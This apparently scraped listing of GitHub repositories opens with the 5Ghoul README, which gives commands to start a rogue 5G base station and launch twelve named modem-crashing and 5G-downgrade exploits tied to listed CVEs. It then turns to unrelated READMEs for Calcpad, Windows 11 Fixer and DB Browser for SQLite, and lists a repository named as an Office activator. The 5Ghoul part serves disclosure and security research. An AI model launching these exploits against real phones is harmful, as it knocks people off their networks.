Software: The binary release has been tested and confirmed to work on bare-metal Ubuntu 18.04. However a docker container is provided to run 5Ghoul PoC & Fuzzer in any Linux based OS capable of running Docker. We have validated the container in Docker version 24.0.2. Note that we do not recommend using any virtual machine since the latency of USB3 needs to be kept as low as possible.
Hardware:
- USRP B210: Use of a software-defined-radio (SDR) is required. We recommend the use of USRP B210, which can be acquired directly from ETTUS. However, 5Ghoul PoC & Fuzzer relies on OpenAirInterface 5G software stack, which can work with other other SDRs that might also work with our PoC.

ETTUS USRP B210 Software Defined Radio (SDR)

(Optional) Programmable SIM Card: Some phones do not connect to arbitrary networks without a testing SIM card (001/01 MCC and MNC respectively). To this end, we recommend using a programmable SIM card from Sysmocom so you can configure its home network to 001/01.

SysmoISIM-SJA2 programmable SIM/USIM/ISIM cards

2. ⏩ Quick Start

To get started with 5Ghoul PoC, we recomend usage of 5Ghoul Container, available in our docker hub. To simplify its usage, we created a wrapper script to run the container with all the required docker arguments:

mkdir 5ghoul # Create 5ghoul folder
curl -LJO https://github.com/asset-group/5ghoul-5g-nr-attacks/raw/master/container.sh
chmod +x container.sh # Give exec. permission to the 5Ghoul container script
./container.sh release-5g # This will pull and start the terminal of the 5Ghoul container
sudo bin/5g_fuzzer --MCC=001 --MNC=01 # This will start the rogue base station inside the container

The final command above (sudo bin/5g_fuzzer ...) will start the rogue base station without any attack. Therefore, you can use this to verify if the connection between the rogue base station and the smartphone works in first place. Once the smartphone attempts to connect to the rogue base station, the 5Ghoul PoC will indicate such connection by printing the message "[!] 1/2 UE connected to eNB/gNB". This message indicates that your setup is working and ready to launch attacks.

3. ☢️ Launching a 5Ghoul attack

To put it simply, you can just run the following command after connecting USRP B210 to your PC/Laptop:

sudo ./bin/5g_fuzzer --exploit=mac_sch_rrc_setup_crash_var --MCC=001 --MNC=01

Once the 5Ghoul PoC runs, it will start a rogue base station (gNB) using the provided MCC and MNC by the command line. You can attempt to connect to this rogue base station by inserting a compatible testing SIM card and scanning for operator networks in Android mobile connectivity settings. More details on this is provided in Section Phone Configuration.

When the smartphone connects to the rogue base station and an attack is launched, the terminal will print messages such as "Malformed rrc setup sent!". These messages depend on the chosen exploit script. The Figure below exemplifies the expected output for the 5Ghoul vulnerability V7, which disables the 5G connection of the smartphone. In this context, the smartphone won't be able to reconnect to the rogue base station and message "Target is not responding" is printed if no communication with the smartphone is possible after 45 seconds.

3.1. Summary of Available Attacks

Currently, 5Ghoul PoC has 12 exploits available. The correspondence between the exploit name and 5Ghoul vulnerability is shown in the Table below.

5Ghoul Vulnerability Name	Exploit Script Name	CVE
V1 - Invalid PUSCH Resource Allocation	TBA	Pending
V2 - Empty RRC dedicatedNAS-Message	TBA	Pending
V3 - Invalid RRC Setup	mac_sch_rrc_setup_crash	N.A (Patched)*
V4 - Invalid RRC Reconﬁguration	mac_sch_rrc_reconfiguration_crash	N.A (Patched)*
V5 - Invalid MAC/RLC PDU	mac_sch_mac_rlc_crash	CVE-2023-33043
V6 - NAS Unknown PDU	mac_sch_nas_unknown_pdu_crash	CVE-2023-33044
V7 - Disabling 5G / Downgrade via RRC	mac_sch_rrc_setup_crash_var	CVE-2023-33042
V8 - Invalid RRC Setup spCellConﬁg	mac_sch_mtk_rrc_setup_crash_4	CVE-2023-32842
V9 - Invalid RRC pucch CSIReportConﬁg	mac_sch_mtk_rrc_setup_crash_2	CVE-2023-32844
V10 - Invalid RLC Data Sequence	mac_sch_mtk_rlc_crash	CVE-2023-20702
V11 - Truncated RRC physicalCellGroupConﬁg	mac_sch_mtk_rrc_setup_crash_6	CVE-2023-32846
V12 - Invalid RRC searchSpacesToAddModList	mac_sch_mtk_rrc_setup_crash_1	CVE-2023-32841
V13 - Invalid RRC Uplink Conﬁg Element	mac_sch_mtk_rrc_setup_crash_3	CVE-2023-32843
V14 - Null RRC Uplink Conﬁg Element	mac_sch_mtk_rrc_setup_crash_7	CVE-2023-32845
DA1 - NAS Flooding Downgrade	TBA	N.A

Vulnerabilities V3,V4 do not seem to affect Qualcomm modems with firmware version dated since 2021.

You can list the name of all existing 5Ghoul exploits by passing the argument --list-exploits as shown below:

sudo bin/5g_fuzzer --list-exploits
...
Available Exploits:
--> mac_sch_mtk_rrc_setup_crash_3 Groups: [mac_sch_:203] [mac_sch_:204] [mac_sch_:205] 
--> mac_sch_mtk_rrc_setup_crash_7 Groups: [mac_sch_:203] [mac_sch_:204] [mac_sch_:205] 
--> mac_sch_rrc_setup_crash Groups: [mac_sch_:203] [mac_sch_:204] [mac_sch_:205] 
--> mac_sch_mtk_rrc_setup_crash_4 Groups: [mac_sch_:203] [mac_sch_:204] [mac_sch_:205] 
--> mac_sch_rrc_setup_crash_var Groups: [mac_sch_:203] [mac_sch_:204] [mac_sch_:205] 
--> mac_sch_mtk_rrc_setup_crash_2 Groups: [mac_sch_:203] [mac_sch_:204] [mac_sch_:205] 
--> mac_sch_mac_rlc_crash Groups: [mac_sch_:203] [mac_sch_:204] [mac_sch_:205] 
--> mac_sch_mtk_rlc_crash Groups: [mac_sch_:203] [mac_sch_:204] [mac_sch_:205] 
--> mac_sch_nas_unknown_pdu_crash Groups: [mac_sch_:203] [mac_sch_:204] [mac_sch_:205] 
--> mac_sch_mtk_rrc_setup_crash_6 Groups: [mac_sch_:203] [mac_sch_:204] [mac_sch_:205] 
--> mac_sch_mtk_rrc_setup_crash_1 Groups: [mac_sch_:203] [mac_sch_:204] [mac_sch_:205] 
--> mac_sch_rrc_reconfiguration_crash Groups: [mac_sch_:203] [mac_sch_:204] [mac_sch_:205]

3.2. Create your own 5G exploit

WIP - Documentation on 5G test-case creation to be added soon.

4. 🔀 Running the 5G NR Fuzzer

The 5Ghoul fuzzer supports running in CLI mode or graphical interface. To run in graphical interface, simply add the --gui argument when calling the 5g_sa binary. You can start the fuzzer as follows:

sudo bin/5g_fuzzer --MCC=001 --MNC=01 --EnableMutation=true # Run fuzzer in command line interface mode (CLI)

Upon successful connectivity with the smartphone or modem, the 5G fuzzer highlights mutated (fuzzed) downlink PDUs in purple. Concurrently, a live capture of the over-the-air communication between the smartphone (UE) and the rogue base station (gNB performing the fuzzing) is shown to the user. Furthermore, the communication trace and logs are saved to logs/5gnr_gnb .

The tool also has a graphical interface that is mostly used for development and troubleshooting the 5G connection or showcasing attack or fuzzing demos ✌. An example of the 5Ghoul GUI is shown below.

sudo bin/5g_fuzzer --MCC=001 --MNC=01 --EnableMutation=true --gui # Run with graphical user interface (GUI)

5. 🛠️ (Optional) Build 5Ghoul software from source

Several requirements need to be installed before compiling the project. An automated script for Ubuntu 18.04/20.04 is provided on requirements.sh. To compile from source, simply run the following commands:

git clone https://github.com/asset-group/5ghoul-5g-nr-attacks
cd 5ghoul-5g-nr-attacks
./requirements.sh 5g # Install all system requirements to compile 5ghoul fuzzer, OpenAirInterface and Open5GS
./build.sh all # Compile all binaries + Wireshark. It may take around 20min. Go get a coffe!
./build.sh # (Optional) Compile all binaries without Wireshark.

The expected output during the build process is shown below:

6. ⚙️ Advanced Options (WIP)

You can list all options of 5Ghoul PoC by running it with --help argument as shown below:

sudo bin/5g_fuzzer --help
Fuzzer for 5G NR User Equipment (UE) - MAC-NR, PDCP-NR, RLC-NR, NAS-5GS
Usage:
  lte_fuzzer [OPTION...]

  -h, --help            Print help
      --default-config  Start with default config
  -g, --gui             Open Graphical User Interface (GUI)

 Fuzzing:
      --EnableDuplication       
      --EnableMutation           (default: true)
      --EnableOptimization       (default: true)
      --DefaultDuplicationProbability arg
                                 (default: 0.200000)
      --DefaultMutationProbability arg
                                 (default: 0.200000)
      --DefaultMutationFieldProbability arg
                                 (default: 0.100000)
      --FieldMutationBackoffMultipler arg
                                 (default: 0.500000)
      --MaxFieldsMutation arg    (default: 2)
      --NormalizeProtocolLayersMutation
                                
      --MaxDuplicationTimeMS arg
                                 (default: 6000)
      --PacketRetry             
      --PacketRetryTimeoutMS arg
                                 (default: 2500)
      --GlobalTimeout            (default: true)
      --GlobalTimeoutSeconds arg
                                 (default: 45)
      --StateLoopDetection      
      --StateLoopDetectionThreshold arg
                                 (default: 5)
      --RandomSeed arg           (default: 123456789)
      --SeedIncrementEveryIteration
                                 (default: true)
      --RestoreSessionOnStartup
                                
      --SaveSessionOnExit       
      --Selector arg             (default: 0)
      --Mutator arg              (default: 1)

 Modules:
      --exploit arg             Launch Exploit
      --list-exploits           List Available Exploits
      --list-exploits-groups    List Exploit Groups (Debug)
      --list-exploits-prefixes  List Exploit Prefixes (Debug)

 NR5G:
      --MCC arg                  (default: 001)
      --MNC arg                  (default: 01)
      --AutoStartBaseStation     (default: true)
      --AutoStartCoreNetwork     (default: true)
      --BaseStationConfigFile arg
                                 (default: n78.106.conf)
      --BaseStationArguments arg
                                 (default: --sa --continuous-tx -E)
      --CoreNetworkConfigFile arg
                                 (default: open5gs.yaml)
      --EnableSimulator         
      --SimulatorDelayUS arg     (default: 2000)
      --SimulationConnectionTimeoutMS arg
                                 (default: 1000)
      --SimulatorUEArguments arg
                                 (default: -r 106 --numerology 1 --band 78 
                                -E -C 3619200000 --rfsim --sa --ssb 516)

 Options:
      --DefaultProtocolName arg
                                 (default: proto:mac-nr-framed)
      --DefaultProtocolEncapName arg
                                 (default: encap:1)
      --SaveProtocolCapture      (default: true)
      --LiveProtocolCapture     
      --SaveLogsToFile           (default: true)
      --SaveLatencyMetrics      
      --SkipPacketProcessing    
      --Program arg              (default: 1)
      --AutoStartProgram         (default: true)
      --AutoRestartProgram      
      --LaunchProgramWithGDB    
      --MainThreadCore arg       (default: -1)
      --SaveCoreDump            

 UEModemManager:
      --APN arg                  (default: internet)
      --AllowedModes arg         (default: 4g|5g)
      --PreferredMode arg        (default: 5g)
      --Bands arg                (default: ngran-78)
      --DisableFuzzingOnFirstConnection
                                 (default: true)
      --AutoConnectModem         (default: true)
      --ConnectionTimeoutMS arg
                                 (default: 4000)
      --UseOnlyATConnections    
      --AutoConnectToAPN         (default: true)
      --ManualAPNConnection     
      --ManualAPNConnectionDelayMS arg
                                 (default: 0)
      --AutoReconnectModem       (default: true)
      --ResetModemOnGlobalTimeout
                                 (default: true)
      --GlobalTimeoutsCount arg
                                 (default: 3)
      --DefaultModemInterfacePath arg
                                 (default: /dev/cdc-wdm1)
      --AutoSearchModemInterfacePath
                                 (default: true)
      --UseInUSBIPHostSSH       
      --EnableADB                (default: true)
      --ADBDevice arg            (default: R5CT720QT7H)
      --ADBPIN arg               (default: 123123)

7. ✉️ Third-Party 5G Software Stacks

5Ghoul PoC & Fuzzer is built upon well known protocols stack implementation. These are used to generate messages and to guide the target device towards a set of protocol procedures which are expected to be tested again unknown or insecure behaviour.

Implementation of Network Layers 1-2 5G MAC, RRC, RLC and PDCP:
- Base Station (gNB) - Open Air Interface (Open Source)
Implementation of Layer 3 and above NAS, IPV4, etc:
- 5G Core Network - Open5GS (Open Source)

jamessimone/apex-rollup

2023-12-13T01:26:37Z

Fast, configurable, elastically scaling custom rollup solution. Apex Invocable action, one-liner Apex trigger/CMDT-driven logic, and scheduled Apex-ready.

bluewaysw/pcgeos

2023-12-13T01:26:50Z

#FreeGEOS source codes. The offical home of the PC/GEOS operating system technology. For personal computing fans. For all developers and assembly lovers. For YOU!

tags-dev/ui

2023-12-12T01:44:11Z

An Astro dashboard theme using Tailwind, Supabase, and React.

vboxme/Portable-VirtualBox

2023-12-13T01:26:58Z

Portable-VirtualBox is a free and open source software tool that lets you run any operating system from a usb stick without separate installation.

hamadnoeranandam/AWS_RDP

2023-12-13T01:27:03Z

vishnu1001/office-2021

2023-12-13T01:27:03Z

Microsoft Office 2021 Activator 🤫

aprijal-master/RDP

2023-12-13T01:27:03Z

gabrieldeolaguibel/DevOps-Banking-Infrastructure

2023-12-13T01:27:08Z

Proektsoftbg/Calcpad

2023-12-12T01:44:59Z

Free and open source software for mathematical and engineering calculations.

Calcpad Readme

Project Website: https://calcpad.eu

Calcpad is free software for mathematical and engineering calculations. It represents a flexible and modern programmable calculator with Html report generator. It is simple and easy to use, but it also includes many advanced features:

real and complex numbers;
units of measurement (SI, Imperial and USCS);
custom variables and units;
built-in library with common math functions;
custom functions of multiple parameters f(x; y; z; ...);
powerful numerical methods for root and extremum finding, numerical integration and differentiation;
finite sum, product and iteration procedures;
modules, macros and string variables;
program flow control with conditions and loops;
"titles" and 'text' comments in quotes;
support for Html and CSS in comments for rich formatting;
function plotting, images, tables, parametric SVG drawings, etc.;
automatic generation of Html forms for data input;
professional looking Html reports for viewing and printing;
export to Word documents (*.docx) and PDF;
variable substitution and smart rounding of numbers;
output visibility control and content folding;
support for plain text (*.txt, *.cpd) and binary (*.cpdz) file formats.

This software is developed using the C# programming language and the latest computer technologies. It automatically parses the input, substitutes the variables, calculates the expressions and displays the output. All results are sent to a professional looking Html report for viewing and printing.

Fields of application

This software is suitable for engineers and other professionals that need to perform repetitive calculations and present them in official documentation such as calculation notes. They can automate this task efficiently by creating powerful and reliable Calcpad worksheets. It can also help teachers to prepare calculation examples, papers, manuals, books etc. Students can use it to solve various problems, prepare homeworks, phd theses etc.

Installation

The installation is performed by the automated setup program calcpad-setup-en-x64.exe. Follow the instruction of the setup wizard. The software requires a 64 bit computer with Windows 10/11 and Microsoft .NET 8.0.
You can also use Calcpad directly in the browser from our website: https://calcpad.eu/Ide

Licensing and terms of use

This software is free for both commercial and non-commercial use. It is distributed under the MIT license:

Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions:

The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software.

THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.

Any scripts, developed with Calcpad are property of the respective authors. They can be used without additional limitations except those appointed by the authors themselves.

Acknowledgments

This project uses some additional third party components, software and design. They are re-distributed free of charge, under the license conditions, provided by the respective authors.

The new and beautiful icons are created using icons8.com.
The pdf export was made possible thanks to the wkhtmltopdf.org project.
Some symbols are displayed, using the Jost* font family by indestructible type*, under the SIL open font license. Square brackets are slightly modified to suit the application needs.

How it works

The software is quick and easy to use. Just follow these simple steps:

Enter text and formulas into the "Code" box on the left.
Press F5 or click to calculate. Results will appear in the "Output" box on the right as a professionally formatted Html report.
Click to print or to copy the output.
You can also export it to Html , PDF or MS Word document.

The language

Calcpad uses a simple programming language that includes the following elements:

Real numbers: digits 0 - 9 and decimal point ".";
Complex numbers: re ± imi (e.g. 3 - 2i);
Variables:
- Latin letters: a - z, A - Z;
- Greek letters: α - ω, Α - Ω;
- digits: 0 - 9;
- comma: " , ";
- prime symbols: ′ , ″ , ‴ , ⁗ ;
- superscripts: ⁰ , ¹ , ² , ³ , ⁴ , ⁵ , ⁶ , ⁷ , ⁸ , ⁹ , ⁿ , ⁺ , ⁻ ;
- special symbols: ‾ , ø , Ø , ° , ∡ ;
- " _ " for subscript;
A variable name must start with a letter. Names are case sensitive.
Operators:
"!" - factorial;
"^" - exponent;
"/" - division;
"÷" - force division bar;
"\" - integer division;
"⦼" - modulo (reminder);
"*" - multiplication;
"-" - minus;
"+" - plus;
"≡" - equal to;
"≠" - not equal to;
"<" - less than;
">" - greater than;
"≤" - less or equal;
"≥" - greater or equal;
"∧" - logical "AND";
"∨" - logical "OR";
"⊕" - logical "XOR";
"=" - assignment;
Custom functions of type f (x; y; z; ... );
Built-in functions:
Trigonometric:
sin(x) - sine;
cos(x) - cosine;
tan(x) - tangent;
csc(x) - cosecant;
sec(x) - secant;
cot(x) - cotangent;
Hyperbolic:
sinh(x) - hyperbolic sine;
cosh(x) - hyperbolic cosine;
tanh(x) - hyperbolic tangent;
csch(x) - hyperbolic cosecant;
sech(x) - hyperbolic secant;
coth(x) - hyperbolic cotangent;
Inverse trigonometric:
asin(x) - inverse sine;
acos(x) - inverse cosine;
atan(x) - inverse tangent;
atan2(x; y) - the angle whose tangent is the quotient of y and x;
acsc(x) - inverse cosecant;
asec(x) - inverse secant;
acot(x) - inverse cotangent;
Inverse hyperbolic:
asinh(x) - inverse hyperbolic sine;
acosh(x) - inverse hyperbolic cosine;
atanh(x) - inverse hyperbolic tangent;
acsch(x) - inverse hyperbolic cosecant;
asech(x) - inverse hyperbolic secant;
acoth(x) - inverse hyperbolic cotangent;
Logarithmic, exponential and roots:
log(x) - decimal logarithm;
ln(x) - natural logarithm;
log_2(x) - binary logarithm;
exp(x) - natural exponent;
sqr(x) / sqrt(x) - square root;
cbrt(x) - cubic root;
root(x; n) - n-th root;
Rounding:
round(x) - round to the nearest integer;
floor(x) - round to the smaller integer (towards -∞);
ceiling(x) - round to the greater integer (towards +∞);
trunc(x) - round to the smaller integer (towards zero);
Integer:
mod(x; y) - the reminder of an integer division;
gcd(x; y) - the greatest common divisor of two integers;
lcm(x; y) - the least common multiple of two integers;
Complex:
abs(x) - absolute value/magnitude;
re(x) - the real part of a complex number;
im(x) - the imaginary part of a complex number;
phase(x) - the phase of a complex number;
Aggregate and interpolation:
min(x; y; z...) - minimum of multiple values;
max(x; y; z...) - maximum of multiple values;
sum(x; y; z...) - sum of multiple values = x + y + z...;
sumsq(x; y; z...) - sum of squares = x² + y² + z²...;
srss(x; y; z...) - square root of sum of squares = sqrt(x² + y² + z²...);
average(x; y; z...) - average of multiple values = (x + y + z...)/n;
product(x; y; z...) - product of multiple values = x·y·z...;
mean(x; y; z...) - geometric mean = n-th root(x·y·z...);
take(n; a; b; c...) - returns the n-th element from the list;
line(x; a; b; c...) - linear interpolation;
spline(x; a; b; c...) - Hermite spline interpolation;
Conditional and logical:
if(cond; value-if-true; value-if-false) - conditional evaluation;
switch(cond1; value1; cond2; value2; … ; default) - selective evaluation;
not(x) - logical "NOT";
and(x; y; z...) - logical "AND";
or(x; y; z...) - logical "OR";
xor(x; y; z...) - logical "XOR";
Other:
sign(x) - the sign of a number;
random(x) - random number between 0 and x;
Comments: "Title" or 'text' in double or single quotes, respectively. HTML, CSS, JS and SVG are allowed.
Graphing and plotting:
$Plot { f(x) @ x = a : b } - simple plot;
$Plot { x(t) | y(t) @ t = a : b } - parametric;
$Plot { f1(x) & f2(x) & ... @ x = a : b } - multiple;
$Plot { x1(t) | y1(t) & x2(t) | y2(t) & ... @ x = a : b } - multiple parametric;
$Map { f(x; y) @ x = a : b & y = c : d } - 2D color map of a 3D surface;
PlotHeight - height of plot area in pixels;
PlotWidth - width of plot area in pixels;
Iterative and numerical methods:
$Root { f(x) = const @ x = a : b } - root finding for f(x) = const;
$Root { f(x) @ x = a : b } - root finding for f(x) = 0;
$Find { f(x) @ x = a : b } - similar to above, but x is not required to be a precise solution;
$Sup { f(x) @ x = a : b } - local maximum of a function;
$Inf { f(x) @ x = a : b } - local minimum of a function;
$Area { f(x) @ x = a : b } - adaptive Gauss-Lobatto numerical integration;
$Integral { f(x) @ x = a : b } - Tanh-Sinh numerical integration;
$Slope { f(x) @ x = a } - numerical differentiation;
$Sum { f(k) @ k = a : b } - iterative sum;
$Product { f(k) @ k = a : b } - iterative product;
$Repeat { f(k) @ k = a : b } - general inline iterative procedure;
Precision - relative precision for numerical methods [10^-2; 10^-16] (default is 10^-12)
Program flow control:
Simple:
#if condition
Your code goes here
#end if
Alternative:
#if condition
Your code goes here
#else
Some other code
#end if
Complete:
#if condition1
Your code goes here
#else if condition2
Your code goes here
#else
Some other code
#end if
You can add or omit as many "#else if's" as needed. Only one "#else" is allowed. You can omit this too.
Iteration blocks:
Simple:
#repeat number of repetitions
Your code goes here
#loop
With conditional break/coutinue:
#repeat number of repetitions
Your code goes here
#if condition
#break or #continue
#end if
Some more code
#loop
Modules and macros/string variables:
Modules:
#include filename - include external file (module);
#local - start local section (not to be included);
#global - start global section (to be included);
Inline string variable:
#def variable_name$ = content
Multiline string variable:
#def variable_name$
content line 1
content line 2
...
#end def
Inline string macro:
#def macro_name$(param1$; param2$;...) = content
Multiline string macro:
#def macro_name$(param1$; param2$;...)
content line 1
content line 2
...
#end def
Output control:
#hide - hide the report contents;
#show - always show the contents (default);
#pre - show the next contents only before calculations;
#post - show the next contents only after calculations;
#val - show only the final result, without the equation;
#equ - show complete equations and results (default);
#noc - show only equations without results (no calculations);
#nosub - do not substitute variables (no substitution);
#novar - show equations only with substituted values (no variables);
#varsub - show equations with variables and substituted values (default);
#split - split equations that do not fit on a single line;
#wrap - wrap equations that do not fit on a single line (default);
#round n - rounds to n digits after the decimal point.
Each of the above commands is effective after the current line until the end of the report or another command that overwrites it.
Breakpoints for step-by-step execution:
#pause - calculates to the current line and waits until resumed manually;
#input - renders an input form to the current line and waits for user input.
Switches for trigonometric units: #deg - degrees, #rad - radians, #gra - gradians;
Separator for target units: |, for example: 3ft + 12in|cm will show 121.92 cm;
Dimensionless: %, ‰;
Angle units: °, ′, ″, deg, rad, grad, rev;
Metric units (SI and compatible):
Mass: g, hg, kg, t, kt, Mt, Gt, dg, cg, mg, μg, Da, u;
Length: m, km, dm, cm, mm, μm, nm, pm, AU, ly;
Time: s, ms, μs, ns, ps, min, h, d, w, y;
Frequency: Hz, kHz, MHz, GHz, THz, mHz, μHz, nHz, pHz, rpm;
Speed: kmh;
Electric current: A, kA, MA, GA, TA, mA, μA, nA, pA;
Temperature: °C, Δ°C, K;
Amount of substance: mol;
Luminous intensity: cd;
Area: a, daa, ha;
Volume: L, daL, hL, dL, cL, mL, μL, nL, pL;
Force: dyn N, daN, hN, kN, MN, GN, TN, gf, kgf, tf;
Moment: Nm, kNm;
Pressure: Pa, daPa, hPa, kPa, MPa, GPa, TPa, dPa, cPa, mPa, μPa, nPa, pPa,
bar, mbar, μbar, atm, at, Torr, mmHg;
Viscosity: P, cP, St, cSt;
Energy work: J, kJ, MJ, GJ, TJ, mJ, μJ, nJ, pJ,
Wh, kWh, MWh, GWh, TWh, mWh, μWh, nWh, pWh
eV, keV, MeV, GeV, TeV, PeV, EeV, cal, kcal, erg;
Power: W, kW, MW, GW, TW, mW, μW, nW, pW, hpM, ks;
VA, kVA, MVA, GVA, TVA, mVA, μVA, nVA, pVA,
VAR, kVAR, MVAR, GVAR, TVAR, mVAR, μVAR, nVAR, pVAR, hpM, ks;
Electric charge: C, kC, MC, GC, TC, mC, μC, nC, pC, Ah, mAh;
Potential: V, kV, MV, GV, TV, mV, μV, nV, pV;
Capacitance: F, kF, MF, GF, TF, mF, μF, nF, pF;
Resistance: Ω, kΩ, MΩ, GΩ, TΩ, mΩ, μΩ, nΩ, pΩ;
Conductance: S, kS, MS, GS, TS, mS, μS, nS, pS, ℧, k℧, M℧, G℧, T℧, m℧, μ℧, n℧, p℧;
Magnetic flux: Wb , kWb, MWb, GWb, TWb, mWb, μWb, nWb, pWb;
Magnetic flux density: T, kT, MT, GT, TT, mT, μT, nT, pT;
Inductance: H, kH, MH, GH, TH, mH, μH, nH, pH;
Luminous flux: lm;
Illuminance: lx;
Radioactivity: Bq, kBq, MBq, GBq, TBq, mBq, μBq, nBq, pBq, Ci, Rd;
Absorbed dose: Gy, kGy, MGy, GGy, TGy, mGy, μGy, nGy, pGy;
Equivalent dose: Sv, kSv, MSv, GSv, TSv, mSv, μSv, nSv, pSv;
Catalytic activity: kat;
Non-metric units (Imperial/US):
Mass: gr, dr, oz, lb (or lbm, lb_m), klb, kipm (or kip_m), st, qr,
cwt (or cwt_UK, cwt_US), ton (or ton_UK, ton_US), slug;
Length: th, in, ft, yd, ch, fur, mi, ftm (or ftm_UK, ftm_US),
cable (or cable_UK, cable_US), nmi, li, rod, pole, perch, lea;
Speed: mph, knot;
Temperature: °F, Δ°F, °R;
Area: rood, ac;
Volume, fluid: fl_oz, gi, pt, qt, gal, bbl, or:
fl_oz_UK, gi_UK, pt_UK, qt_UK, gal_UK, bbl_UK,
fl_oz_US, gi_US, pt_US, qt_US, gal_US, bbl_US,
Volume, dry: (US) pt_dry, (US) qt_dry, (US) gal_dry, (US) bbl_dry,
pk (or pk_UK, pk_US), bu (or bu_UK, bu_US);
Force: ozf (or oz_f), lbf (or lb_f), kip (or kipf, kip_f), tonf (or ton_f), pdl;
Pressure: osi, osf psi, psf, ksi, ksf, tsi, tsf, inHg;
Energy/work: BTU, therm, (or therm_UK, therm_US), quad;
Power: hp, hpE, hpS;
Custom units - .Name = expression.
Names can include currency symbols: €, £, ₤, ¥, ¢, ₽, ₹, ₩, ₪.

99natmar99/Windows-11-Fixer

2023-12-12T01:44:59Z

A tool to "Fix" Windows 11

Windows 11 Fixer

About

Windows 11 Fixer is a program designed to make customizing your Windows 11 as easy as possible. Windows 11 Fixer provides one easy to use location to customize Windows 11, change a large amount of Windows settings (including security settings), uninstall undesired Windows software, and install most of the programs you'll want or need.

Features

Customize the look and feel of the taskbar.
Adjust the right-click context menu to your liking.
Modify file explorer, and adjust file and folder options with ease.
Adjust a large range of Windows settings, including plenty of privacy and security settings.
Uninstall any undesired Windows software including Cortana and Microsoft Edge.
Install additional programs to help enhance and customize Windows 11 to your liking.
Install most commonly used progams, including internet browsers, game launchers, audio and video streaming, etc.

Downloads

Latest Release (v2.1.0)	Portable	Lite
Release Notes	Download	Download

The Lite version of Windows 11 Fixer requires .NET 5.0 to be installed in order to run. If you do not have this installed, an installer has been included with the program.

Images

Windows Settings

Uninstall Microsoft Bloat

Install Software

Known Issues

Fix Windows Page

Some fixes request the user to restart their computer in order for those fixes to take effect. Sometimes those fixes only require a Windows explorer restart rather than a full computer restart.
The small taskbar fix results in the taskbar clock and system tray icons to be cut off.
Icon spacing varies throughout the taskbar size fixes.
When adding or removing take ownership, the registry prompt may sometimes not appear as the topmost window.

Windows Settings Page

Some setting changes may result in a terminal window appearing with "error code 1" present. This just means that a registry value the program was trying to delete was not found. You can ignore and close this window.

Uninstall MS Bloat Page

Some Edge files may still remain until a computer restart has been performed.

Install Software Page

Some programs which are installed through the Microsoft Store (Netflix, Prime Video, Disney+) require the user to be currently logged into a Microsoft account in the Microsoft store.
After installaing software, sometimes Windows 11 Fixer will remain frozen and is required to be closed and reopened in order to continue using it.

aarthificial-unity/foundations

2023-12-13T01:27:36Z

Source Code for Solomon's Link

This repository contains the source code for the game Solomon's Link.

The game will most likely not be developed any further. Pull requests are not open.

All assets are licensed under CC0 1.0.

sqlitebrowser/sqlitebrowser

2023-12-12T01:45:32Z

Official home of the DB Browser for SQLite (DB4S) project. Previously known as "SQLite Database Browser" and "Database Browser for SQLite". Website at:

DB Browser for SQLite

DB Browser for SQLite

What it is

DB Browser for SQLite (DB4S) is a high quality, visual, open source tool to create, design, and edit database files compatible with SQLite.

DB4S is for users and developers who want to create, search, and edit databases. DB4S uses a familiar spreadsheet-like interface, so complicated SQL commands do not have to be learned.

Controls and wizards are available for users to:

Create and compact database files
Create, define, modify and delete tables
Create, define, and delete indexes
Browse, edit, add, and delete records
Search records
Import and export records as text
Import and export tables from/to CSV files
Import and export databases from/to SQL dump files
Issue SQL queries and inspect the results
Examine a log of all SQL commands issued by the application
Plot simple graphs based on table or query data

What it is not

Even though DB4S comes with a spreadsheet-like interface, it is not meant to replace your spreadsheet application. We implement a few convenience functions which go beyond a simple database frontend but do not add them when they do not make sense in a database context or are so complex to implement that they will only ever be a poor replacement for your favorite spreadsheet application. We are a small team with limited time after all. Thanks for your understanding :)

Wiki

For user and developer documentation, check out our Wiki at: https://github.com/sqlitebrowser/sqlitebrowser/wiki.

Continuous, Nightly builds

Download continuous builds for AppImage, macOS and Windows here:

https://github.com/sqlitebrowser/sqlitebrowser/releases/tag/continuous

Note: A continuous build is generated when a new commit is added to the master branch.

Download nightly builds for Windows and macOS here:

https://nightlies.sqlitebrowser.org/latest

Windows

Download Windows releases here:

https://sqlitebrowser.org/dl/#windows

Or use Chocolatey:

choco install sqlitebrowser

Or use winget:

winget install -e --id DBBrowserForSQLite.DBBrowserForSQLite

Continuous, Nightly builds

Continuous builds are available here:

https://github.com/sqlitebrowser/sqlitebrowser/releases/tag/continuous

Nightly builds are available here:

https://nightlies.sqlitebrowser.org/latest

macOS

DB Browser for SQLite works well on macOS.

macOS 10.15 (Catalina) - 14.0 (Sonoma) are tested and known to work.

Stable release

Download macOS releases here:

https://sqlitebrowser.org/dl/#macos

The latest macOS binary can be installed via Homebrew Cask:

brew install --cask db-browser-for-sqlite

Continuous, Nightly builds

Continuous builds are available here:

https://github.com/sqlitebrowser/sqlitebrowser/releases/tag/continuous

Nightly builds are available here:

https://nightlies.sqlitebrowser.org/latest

and also you can be installed via Homebrew Cask:

brew tap homebrew/cask-versions

# for the version without SQLCipher support
brew install --cask db-browser-for-sqlite-nightly

# for the version with SQLCipher support
brew install --cask db-browser-for-sqlcipher-nightly

It also has its own Homebrew tap the include Cask for older version.
For more information, see the following: https://github.com/sqlitebrowser/homebrew-tap

Linux

DB Browser for SQLite works well on Linux.

Arch Linux

Arch Linux provides an up to date version

Install with the following command:

sudo pacman -S sqlitebrowser

Debian

Debian focuses more on stability rather than newest features.
Therefore packages will typically contain an older (but well tested) version, compared to the latest release.

Update the cache using:

sudo apt-get update

Install the package using:

sudo apt-get install sqlitebrowser

Fedora

Install for Fedora (i386 and x86_64) by issuing the following command:

sudo dnf install sqlitebrowser

openSUSE

sudo zypper install sqlitebrowser

